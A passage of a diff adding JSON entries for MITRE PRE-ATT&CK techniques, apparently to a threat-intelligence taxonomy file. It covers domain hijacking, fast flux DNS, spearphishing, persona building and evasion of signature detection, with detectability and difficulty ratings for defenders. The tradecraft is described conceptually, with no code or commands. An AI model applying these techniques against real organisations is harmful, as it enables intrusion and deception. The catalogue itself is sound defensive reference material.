"https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1163" + ], + "external_id": "PRE-T1163", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:compromise" + ] + }, + "uuid": "0440f60f-9056-4791-a740-8eae96eb61fa" + }, + { + "description": "Once they have been created, intelligence requirements, Key Intelligence Topics (KITs), and Key Intelligence Questions (KIQs) are submitted into a central management system. (Citation: ICD204) (Citation: KIT-Herring)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "value": "Submit KITs, KIQs, and intelligence requirements - PRE-T1014", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1014" + ], + "external_id": "PRE-T1014", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:priority-definition-direction" + ] + }, + "uuid": "03da0598-ed46-4a73-bf43-0313b3522400" + }, + { + "description": "The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: If a previous incident identified the credentials used by an adversary, defenders can potentially use these credentials to track the adversary through reuse of the same credentials.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can easily create and use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com AWS] accounts, etc. Many service providers require some form of identifiable information such as a phone number or email address, but there are several avenues to acquire these consistent with the misattributable identity.", + "value": "Misattributable credentials - PRE-T1099", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1099" + ], + "external_id": "PRE-T1099", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "31fa5b03-1ede-4fab-8a68-ed831fcf4899" + }, + { + "description": "Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "value": "Create strategic plan - PRE-T1008", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1008" + ], + "external_id": "PRE-T1008", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:priority-definition-planning" + ] + }, + "uuid": "ec739e26-d097-4804-b04a-54dd81ff11e0" + }, + { + "description": "Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: 3rd parties would most likely not report network scans to their partners. Target network would not know that their 3rd party partners were being used as a vector.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The difficult part is enumerating all 3rd parties. Finding major partners would not be difficult. Significantly easier with insider knowledge. Vulnerability scanning the 3rd party networks is trivial.", + "value": "Assess vulnerability of 3rd party vendors - PRE-T1075", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1075" + ], + "external_id": "PRE-T1075", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:organizational-weakness-identification" + ] + }, + "uuid": "1def484d-2343-470d-8925-88f45b5f9615" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nAttempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: This is possible with diligent monitoring of login anomalies, expected user behavior/location. If the adversary uses legitimate credentials, it may go undetected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials. This is increasingly difficult to obtain access when two-factor authentication mechanisms are employed.", + "value": "Authentication attempt - PRE-T1158", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1158" + ], + "external_id": "PRE-T1158", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:launch" + ] + }, + "uuid": "4dfb98ea-03cc-4a9c-a3a7-b22e14f126c4" + }, + { + "description": "Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Generally not easily detectable unless domain registrar provides alerting on any updates.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires adversary to gain access to an email account for person listed as the domain registrar/POC. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or take advantage of renewal process gaps.", + "value": "Domain registration hijacking - PRE-T1103", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1103" + ], + "external_id": "PRE-T1103", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:establish-&-maintain-infrastructure" + ] + }, + "uuid": "aadaee0d-794c-4642-8293-7ec22a99fb1a" + }, + { + "description": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts.", + "value": "Analyze organizational skillsets and deficiencies - PRE-T1077", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1077" + ], + "external_id": "PRE-T1077", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:organizational-weakness-identification" + ] + }, + "uuid": "7baccb84-356c-4e89-8c5d-58e701f033fc" + }, + { + "description": "Active scanning is the act of sending transmissions to end nodes, and analyzing the responses, in order to identify information about the communications system. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: This technique is an expected and voluminous activity when on the Internet. Active scanning techniques/tools typically generate benign traffic that does not require further investigation by a defender since there is no actionable defense to execute. The high volume of this activity makes it burdensome for any defender to chase and therefore often ignored.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Various available tools and data sources for scouting and detecting address, routing, version numbers, patch levels, protocols/services running, etc.", + "value": "Conduct active scanning - PRE-T1031", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1031" + ], + "external_id": "PRE-T1031", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "7f2d3da6-7e34-44a3-9e7f-905455339726" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: With the use of malware detonation chambers (e.g., for web or email traffic), this improves detection. Encryption and other techniques reduces the efficacy of these defenses.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Placing an exploit on a public web site for driveby types of delivery is not impossible. However, gaining access to a web site with high enough traffic to meet specific objectives could be the challenge.", + "value": "Unconditional client-side exploitation/Injected Website/Driveby - PRE-T1149", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1149" + ], + "external_id": "PRE-T1149", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:launch" + ] + }, + "uuid": "58d0b955-ae3d-424a-a537-2804dab38793" + }, + { + "description": "An adversary can test the detections of malicious emails or files by using publicly available services, such as virus total, to see if their files or emails cause an alert. They can also use similar services that are not openly available and don't publicly publish results or they can test on their own internal infrastructure. (Citation: WiredVirusTotal)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: If using a common service like [https://www.virustotal.com VirusTotal], it is possible to detect. If the adversary uses a hostile, less well-known service, the defender would not be aware.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy to automate upload/email of a wide range of data packages.", + "value": "Test signature detection - PRE-T1069", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1069" + ], + "external_id": "PRE-T1069", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-weakness-identification" + ] + }, + "uuid": "57061a8a-d7c5-42a9-be60-f79526b95bf6" + }, + { + "description": "A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as IPS, domain registrars, and service providers are likely in the best position for detection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Fast flux is generally simple for an adversary to set up and offers several advantages. Such advantages include limited audit trails for defenders to find, ease of operation for an adversary to maintain, and support for main nodes.", + "value": "Fast Flux DNS - PRE-T1102", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1102" + ], + "external_id": "PRE-T1102", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "248cbfdd-fec4-451b-b2a9-e46d4b268e30" + }, + { + "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting technical information about a target. Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.", + "value": "Conduct social engineering - PRE-T1026", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1026" + ], + "external_id": "PRE-T1026", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "74a3288e-eee9-4f8e-973a-fbc128e033f1" + }, + { + "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Hard to differentiate from standard business operations.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Wide variety of cloud/VPS/hosting/compute/storage solutions available for adversary to acquire freely or at a low cost.", + "value": "Acquire and/or use 3rd party infrastructure services - PRE-T1106", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1106" + ], + "external_id": "PRE-T1106", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:establish-&-maintain-infrastructure" + ] + }, + "uuid": "795c1a92-3a26-453e-b99a-6a566aa94dc6" + }, + { + "description": "Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Detecting encryption is easy, decrypting/deobfuscating is hard.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Various solutions exist for the adversary to use. This technique is commonly used to prevent attribution and evade detection.", + "value": "Obfuscate or encrypt code - PRE-T1096", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1096" + ], + "external_id": "PRE-T1096", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "357e137c-7589-4af1-895c-3fbad35ea4d2" + }, + { + "description": "Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No access to who is consuming the job postings to know what is being observed.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Job postings have to be made public for contractors and many times have the name of the organization being supported.", + "value": "Analyze organizational skillsets and deficiencies - PRE-T1074", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1074" + ], + "external_id": "PRE-T1074", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:people-weakness-identification" + ] + }, + "uuid": "96eb59d1-6c46-44bb-bfcd-56be02a00d41" + }, + { + "description": "An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Developers could check a hash or signature of their development tools to ensure that they match expected values (e.g., Apple provides instructions of how to do so for its Xcode developer tool), but developers may not always do so.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: The adversary would need to either replace the tools provided at the official download location or influence developers to download the tools from an adversary-controlled third-party download location. Desktop operating systems (e.g., Windows, macOS) are increasingly encouraging use of vendor-provided official app stores to distribute software, which utilize code signing and increase the difficulty of replacing development tools with malicious versions.", + "value": "Distribute malicious software development tools - PRE-T1171", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1171" + ], + "external_id": "PRE-T1171", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:stage-capabilities" + ] + }, + "uuid": "d2c4206a-a431-4494-834d-52944a79e9f4" + }, + { + "description": "Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is. (Citation: DiginotarCompromise)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms", + "value": "Acquire or compromise 3rd party signing certificates - PRE-T1109", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1109" + ], + "external_id": "PRE-T1109", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:establish-&-maintain-infrastructure" + ] + }, + "uuid": "03f4a766-7a21-4b5e-9ccf-e0cf422ab983" + }, + { + "description": "Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: The only difference between an adversary conducting this technique and a typical user, is the adversary's intent - to target an individual for compromise.", + "value": "Develop social network persona digital footprint - PRE-T1119", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1119" + ], + "external_id": "PRE-T1119", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:persona-development" + ] + }, + "uuid": "271e6d40-e191-421a-8f87-a8102452c201" + }, + { + "description": "A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information. However, tracking multiple DNS infrastructures will likely require multiple tools/services or more advanced analytics.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires more planning, but feasible.", + "value": "Use multiple DNS infrastructures - PRE-T1104", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1104" + ], + "external_id": "PRE-T1104", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:establish-&-maintain-infrastructure" + ] + }, + "uuid": "616238cb-990b-4c71-8f50-d8b10ed8ce6b" + }, + { + "description": "Many applications use third-party software libraries, often without full knowledge of the behavior of the libraries by the application developer. For example, mobile applications often incorporate advertising libraries to generate revenue for the application developer. Vulnerabilities in these third-party libraries could potentially be exploited in any application that uses the library, and even if the vulnerabilities are fixed, many applications may still use older, vulnerable versions of the library. (Citation: Flexera News Vulnerabilities) (Citation: Android Security Review 2015) (Citation: Android Multidex RCE)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Open source software has great appeal mostly due to the time savings and that it is free. However, using this code without assessing it's security is akin to blindly executing third party software. Companies often do not dedicate the time to appropriately detect and scan for vulnerabilities. The mainstream mobile application stores scan applications for some known vulnerabilities. For example, Google's Android Application Security Improvement Program identifies and alerts developers to vulnerabilities present in their applications from use of the Vungle, Apache Cordova, WebView SSL, GnuTLS, and Vitamio third-party libraries. However, these scans are not likely to cover all vulnerable libraries, developers may not always act on the results, and the results may not be made available to impacted end users of the applications.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Developers commonly use open source libraries such that where an adversary can easily discover known vulnerabilities and create exploits. It is also generally easy to decompile arbitrary mobile applications to determine what libraries they use, and similarly use this information to correlate against known CVEs and exploit packages.", + "value": "Identify vulnerabilities in third-party software libraries - PRE-T1166", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1166" + ], + "external_id": "PRE-T1166", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-weakness-identification" + ] + }, + "uuid": "ad124f84-52d2-40e3-95dd-cfdd44eae6ef" + }, + { + "description": "DNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: There are not currently available tools that provide the ability to conduct this calculation to detect this type of activity.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This technique assists the adversary in bypassing egress filtering designed to prevent unauthorized communication. It has been used by APT12, but not otherwise widely reported. Some botnets are hardcoded to be able to use this technique.", + "value": "DNSCalc - PRE-T1101", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1101" + ], + "external_id": "PRE-T1101", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "7823039f-e2d5-4997-853c-ec983631206b" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nExternally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Most DMZs are monitored but are also designed so that if they are compromised, the damage/risk is limited.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: DMZ environments are specifically designed to be isolated because one assumes they will ultimately be compromised by the adversary.", + "value": "Compromise of externally facing system - PRE-T1165", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1165" + ], + "external_id": "PRE-T1165", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:compromise" + ] + }, + "uuid": "4aeafdb3-eb0b-4e8e-b93f-95cd499088b4" + }, + { + "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Difficult, if not impossible to detect, because the adversary may collect this information from external sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Supply chain diversity of sourcing increases adversary difficulty with accurate mapping. Industry practice has moved towards agile sourcing.", + "value": "Identify supply chains - PRE-T1023", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1023" + ], + "external_id": "PRE-T1023", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "78e41091-d10d-4001-b202-89612892b6ff" + }, + { + "description": "Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Strong physical security and monitoring will detect this behavior if performed on premises.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Not difficult if waste is placed in an unsecured or minimally secured area before collection.", + "value": "Dumpster dive - PRE-T1063", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1063" + ], + "external_id": "PRE-T1063", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:organizational-information-gathering" + ] + }, + "uuid": "6c79d654-6506-4f33-b48f-c80babdcc52d" + }, + { + "description": "For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Open access to DNS registration/routing information is inherent in Internet architecture.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Proliferation of DNS information makes registration information functionally freely available.", + "value": "Obtain domain/IP registration information - PRE-T1028", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1028" + ], + "external_id": "PRE-T1028", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "46017368-6e09-412b-a29c-385be201cc03" + }, + { + "description": "Business relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Exception to the rule is if the adversary tips off the target that others have been asking about the relationship with them.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires an intensive process. In some industries, business relationships may be public in order to generate business, but this is not the case for all industries and all relationships.", + "value": "Identify business relationships - PRE-T1060", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1060" + ], + "external_id": "PRE-T1060", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:organizational-information-gathering" + ] + }, + "uuid": "73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a" + }, + { + "description": "Anonymity services reduce the amount of information available that can be used to track an adversary's activities. Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Depends on service. Some are easy to detect, but are hard to trace (e.g., [https://torproject.org TOR]).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Easy access to anonymizers, quasi-anonymous services like remailers, [https://torproject.org TOR], relays, burner phones, etc.", + "value": "Anonymity services - PRE-T1083", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1083" + ], + "external_id": "PRE-T1083", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "d3dca536-8bf0-4e43-97c1-44a2353c3d69" + }, + { + "description": "Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: C2 over commonly used and permitted protocols provides the necessary cover and access.", + "value": "C2 protocol development - PRE-T1129", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1129" + ], + "external_id": "PRE-T1129", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:build-capabilities" + ] + }, + "uuid": "8e211ec9-5dfc-4915-aff4-84d5908f0336" + }, + { + "description": "For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([https://www.facebook.com Facebook], [https://www.linkedin.com LinkedIn], [https://twitter.com Twitter], [https://plus.google.com Google+], etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Performing activities like typical users, but with specific intent in mind.", + "value": "Build social network persona - PRE-T1118", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1118" + ], + "external_id": "PRE-T1118", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:persona-development" + ] + }, + "uuid": "9108e212-1c94-4f8d-be76-1aad9b4c86a4" + }, + { + "description": "Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "value": "Task requirements - PRE-T1017", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1017" + ], + "external_id": "PRE-T1017", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:priority-definition-direction" + ] + }, + "uuid": "b93bd611-da4e-4c84-a40f-325b712bed67" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nSpearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it it doesn't leverage malicious code. All forms of spearphishing are elctronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: Depending on the specific method of phishing, the detections can vary. For emails, filtering based on DKIP+SPF or header analysis can help detect when the email sender is spoofed. When it comes to following links, network intrusion detection systems (NIDS), firewalls, removing links, exploding shortened links, proxy monitoring, blocking uncategorized sites, and site reputation based filtering can all provide detection opportunities.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Sending emails is trivial, and, over time, an adversary can refine their technique to minimize detection by making their emails seem legitimate in structure and content.", + "value": "Spearphishing for Information - PRE-T1174", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1174" + ], + "external_id": "PRE-T1174", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "b182f29c-2505-4b32-a000-0440ef189f59" + }, + { + "description": "Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Proliferation of DNS TLDs and registrars. Adversary may choose domains that are similar to legitimate domains (aka \"domain typosquatting\" or homoglyphs).", + "value": "Buy domain name - PRE-T1105", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1105" + ], + "external_id": "PRE-T1105", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:establish-&-maintain-infrastructure" + ] + }, + "uuid": "45242287-2964-4a3e-9373-159fad4d8195" + }, + { + "description": "Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Physical observations, OSINT for remote access instructions, and other techniques are not detectable.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Determine if users work offsite, connect remotely, or other possibly less restricted/secured 